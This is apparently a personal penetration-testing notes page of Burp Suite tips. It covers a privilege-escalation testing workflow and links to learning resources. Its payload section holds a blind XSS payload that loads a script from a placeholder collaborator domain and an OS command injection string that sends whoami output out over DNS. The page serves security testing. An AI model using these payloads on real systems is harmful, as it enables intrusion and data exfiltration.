> ## Documentation Index
> Fetch the complete documentation index at: https://journal.daudaldi.my.id/llms.txt
> Use this file to discover all available pages before exploring further.

# Burpsuite

> All about burpsuite tips & tricks.

## Burpsuite Nice tips

<AccordionGroup>
  <Accordion title="Testing for privilege escalation">
    1. Settings -> Sessions -> add sessions handling rules -> on Rule action select specific cookies
    2. Go to target -> compare sitemaps -> use current sitemap -> use only selected branches -> request map 1 again
       \
       🔗 Reference: [https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/privilege-escalation](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/privilege-escalation)
  </Accordion>

  <Accordion title="Collaborator Payload">
    <CodeGroup>
      ```javascript Blind XSS theme={null}
      </script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/yourcollaboratordomain/).slice(2), document.documentElement.appendChild(s))//'>
      ```

      ```shellscript OS Injection theme={null}
      & nslookup `whoami`.burp-collaborator-subdomain &
      ```
    </CodeGroup>
  </Accordion>
</AccordionGroup>

***

## Articles

* [https://www.hacker101.com/playlists/burp\_suite.html](https://www.hacker101.com/playlists/burp_suite.html)
* [https://www.youtube.com/watch?v=kbi2KaAzTLg](https://www.youtube.com/watch?v=kbi2KaAzTLg)
* [https://hackademy.agarri.fr/syllabus](https://hackademy.agarri.fr/syllabus)